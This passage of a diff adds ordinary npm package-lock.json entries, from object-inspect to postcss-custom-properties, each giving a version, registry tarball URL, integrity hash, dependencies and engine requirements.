+      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.2.tgz",
+      "integrity": "sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/object-keys": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
+      "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/object.assign": {
+      "version": "4.1.4",
+      "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz",
+      "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "has-symbols": "^1.0.3",
+        "object-keys": "^1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/object.entries": {
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz",
+      "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/object.fromentries": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.5.tgz",
+      "integrity": "sha512-CAyG5mWQRRiBU57Re4FKoTBjXfDoNwdFVH2Y1tS9PqCsfUTymAohOkEMSG3aRNKmv4lV3O7p1et7c187q6bynw==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/object.getownpropertydescriptors": {
+      "version": "2.1.4",
+      "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.4.tgz",
+      "integrity": "sha512-sccv3L/pMModT6dJAYF3fzGMVcb38ysQ0tEE6ixv2yXJDtEIPph268OlAdJj5/qZMZDq2g/jqvwppt36uS/uQQ==",
+      "dependencies": {
+        "array.prototype.reduce": "^1.0.4",
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.20.1"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/object.hasown": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.1.tgz",
+      "integrity": "sha512-LYLe4tivNQzq4JdaWW6WO3HMZZJWzkkH8fnI6EebWl0VZth2wL2Lovm74ep2/gZzlaTdV62JZHEqHQ2yVn8Q/A==",
+      "dependencies": {
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.19.5"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/object.values": {
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz",
+      "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/obuf": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz",
+      "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg=="
+    },
+    "node_modules/on-finished": {
+      "version": "2.4.1",
+      "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
+      "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
+      "dependencies": {
+        "ee-first": "1.1.1"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/on-headers": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz",
+      "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/once": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+      "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+      "dependencies": {
+        "wrappy": "1"
+      }
+    },
+    "node_modules/onetime": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz",
+      "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==",
+      "dependencies": {
+        "mimic-fn": "^2.1.0"
+      },
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/open": {
+      "version": "8.4.0",
+      "resolved": "https://registry.npmjs.org/open/-/open-8.4.0.tgz",
+      "integrity": "sha512-XgFPPM+B28FtCCgSb9I+s9szOC1vZRSwgWsRUA5ylIxRTgKozqjOCrVOqGsYABPYK5qnfqClxZTFBa8PKt2v6Q==",
+      "dependencies": {
+        "define-lazy-prop": "^2.0.0",
+        "is-docker": "^2.1.1",
+        "is-wsl": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/optionator": {
+      "version": "0.9.1",
+      "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.1.tgz",
+      "integrity": "sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==",
+      "dependencies": {
+        "deep-is": "^0.1.3",
+        "fast-levenshtein": "^2.0.6",
+        "levn": "^0.4.1",
+        "prelude-ls": "^1.2.1",
+        "type-check": "^0.4.0",
+        "word-wrap": "^1.2.3"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/p-limit": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
+      "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
+      "dependencies": {
+        "yocto-queue": "^0.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/p-locate": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
+      "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
+      "dependencies": {
+        "p-limit": "^3.0.2"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/p-retry": {
+      "version": "4.6.2",
+      "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz",
+      "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==",
+      "dependencies": {
+        "@types/retry": "0.12.0",
+        "retry": "^0.13.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/p-try": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
+      "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/param-case": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz",
+      "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==",
+      "dependencies": {
+        "dot-case": "^3.0.4",
+        "tslib": "^2.0.3"
+      }
+    },
+    "node_modules/parent-module": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
+      "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
+      "dependencies": {
+        "callsites": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/parse-json": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
+      "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==",
+      "dependencies": {
+        "@babel/code-frame": "^7.0.0",
+        "error-ex": "^1.3.1",
+        "json-parse-even-better-errors": "^2.3.0",
+        "lines-and-columns": "^1.1.6"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/parse5": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz",
+      "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw=="
+    },
+    "node_modules/parseurl": {
+      "version": "1.3.3",
+      "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
+      "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/pascal-case": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz",
+      "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==",
+      "dependencies": {
+        "no-case": "^3.0.4",
+        "tslib": "^2.0.3"
+      }
+    },
+    "node_modules/path-exists": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
+      "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/path-is-absolute": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+      "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/path-key": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
+      "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/path-parse": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+      "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
+    },
+    "node_modules/path-to-regexp": {
+      "version": "0.1.12",
+      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz",
+      "integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==",
+      "license": "MIT"
+    },
+    "node_modules/path-type": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
+      "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/performance-now": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
+      "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow=="
+    },
+    "node_modules/picocolors": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.1.tgz",
+      "integrity": "sha512-anP1Z8qwhkbmu7MFP5iTt+wQKXgwzf7zTyGlcdzabySa9vd0Xt392U0rVmz9poOaBj0uHJKyyo9/upk0HrEQew=="
+    },
+    "node_modules/picomatch": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
+      "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+      "engines": {
+        "node": ">=8.6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/jonschlinkert"
+      }
+    },
+    "node_modules/pify": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+      "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/pirates": {
+      "version": "4.0.5",
+      "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.5.tgz",
+      "integrity": "sha512-8V9+HQPupnaXMA23c5hvl69zXvTwTzyAYasnkb0Tts4XvO4CliqONMOnvlq26rkhLC3nWDFBJf73LU1e1VZLaQ==",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/pkg-dir": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
+      "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
+      "dependencies": {
+        "find-up": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/pkg-dir/node_modules/find-up": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+      "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+      "dependencies": {
+        "locate-path": "^5.0.0",
+        "path-exists": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/pkg-dir/node_modules/locate-path": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+      "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+      "dependencies": {
+        "p-locate": "^4.1.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/pkg-dir/node_modules/p-limit": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+      "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+      "dependencies": {
+        "p-try": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/pkg-dir/node_modules/p-locate": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+      "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+      "dependencies": {
+        "p-limit": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/pkg-up": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz",
+      "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==",
+      "dependencies": {
+        "find-up": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/pkg-up/node_modules/find-up": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+      "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+      "dependencies": {
+        "locate-path": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/pkg-up/node_modules/locate-path": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+      "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+      "dependencies": {
+        "p-locate": "^3.0.0",
+        "path-exists": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/pkg-up/node_modules/p-limit": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+      "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+      "dependencies": {
+        "p-try": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/pkg-up/node_modules/p-locate": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+      "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+      "dependencies": {
+        "p-limit": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/pkg-up/node_modules/path-exists": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+      "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/popper.js": {
+      "version": "1.16.1",
+      "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz",
+      "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==",
+      "deprecated": "You can find the new Popper v2 at @popperjs/core, this package is dedicated to the legacy v1",
+      "peer": true,
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/popperjs"
+      }
+    },
+    "node_modules/postcss": {
+      "version": "8.4.16",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.16.tgz",
+      "integrity": "sha512-ipHE1XBvKzm5xI7hiHCZJCSugxvsdq2mPnsq5+UF+VHCjiBvtDrlxJfMBToWaP9D5XlgNmcFGqoHmUn0EYEaRQ==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/postcss/"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/postcss"
+        }
+      ],
+      "dependencies": {
+        "nanoid": "^3.3.4",
+        "picocolors": "^1.0.0",
+        "source-map-js": "^1.0.2"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14"
+      }
+    },
+    "node_modules/postcss-attribute-case-insensitive": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz",
+      "integrity": "sha512-XIidXV8fDr0kKt28vqki84fRK8VW8eTuIa4PChv2MqKuT6C9UjmSKzen6KaWhWEoYvwxFCa7n/tC1SZ3tyq4SQ==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-browser-comments": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-browser-comments/-/postcss-browser-comments-4.0.0.tgz",
+      "integrity": "sha512-X9X9/WN3KIvY9+hNERUqX9gncsgBA25XaeR+jshHz2j8+sYyHktHw1JdKuMjeLpGktXidqDhA7b/qm1mrBDmgg==",
+      "engines": {
+        "node": ">=8"
+      },
+      "peerDependencies": {
+        "browserslist": ">=4",
+        "postcss": ">=8"
+      }
+    },
+    "node_modules/postcss-calc": {
+      "version": "8.2.4",
+      "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz",
+      "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==",
+      "dependencies": {
+        "postcss-selector-parser": "^6.0.9",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.2"
+      }
+    },
+    "node_modules/postcss-clamp": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-clamp/-/postcss-clamp-4.1.0.tgz",
+      "integrity": "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": ">=7.6.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4.6"
+      }
+    },
+    "node_modules/postcss-color-functional-notation": {
+      "version": "4.2.4",
+      "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-4.2.4.tgz",
+      "integrity": "sha512-2yrTAUZUab9s6CpxkxC4rVgFEVaR6/2Pipvi6qcgvnYiVqZcbDHEoBDhrXzyb7Efh2CCfHQNtcqWcIruDTIUeg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-color-hex-alpha": {
+      "version": "8.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-8.0.4.tgz",
+      "integrity": "sha512-nLo2DCRC9eE4w2JmuKgVA3fGL3d01kGq752pVALF68qpGLmx2Qrk91QTKkdUqqp45T1K1XV8IhQpcu1hoAQflQ==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
+    },
+    "node_modules/postcss-color-rebeccapurple": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-7.1.1.tgz",
+      "integrity": "sha512-pGxkuVEInwLHgkNxUc4sdg4g3py7zUeCQ9sMfwyHAT+Ezk8a4OaaVZ8lIY5+oNqA/BXXgLyXv0+5wHP68R79hg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/postcss-colormin": {
+      "version": "5.3.0",
+      "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.0.tgz",
+      "integrity": "sha512-WdDO4gOFG2Z8n4P8TWBpshnL3JpmNmJwdnfP2gbk2qBA8PWwOYcmjmI/t3CmMeL72a7Hkd+x/Mg9O2/0rD54Pg==",
+      "dependencies": {
+        "browserslist": "^4.16.6",
+        "caniuse-api": "^3.0.0",
+        "colord": "^2.9.1",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-convert-values": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.2.tgz",
+      "integrity": "sha512-c6Hzc4GAv95B7suy4udszX9Zy4ETyMCgFPUDtWjdFTKH1SE9eFY/jEpHSwTH1QPuwxHpWslhckUQWbNRM4ho5g==",
+      "dependencies": {
+        "browserslist": "^4.20.3",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/postcss-custom-media": {
+      "version": "8.0.2",
+      "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-8.0.2.tgz",
+      "integrity": "sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.3"
+      }
+    },
+    "node_modules/postcss-custom-properties": {
+      "version": "12.1.9",
+      "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-12.1.9.tgz",
+      "integrity": "sha512-/E7PRvK8DAVljBbeWrcEQJPG72jaImxF3vvCNFwv9cC8CzigVoNIpeyfnJzphnN3Fd8/auBf5wvkw6W9MfmTyg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
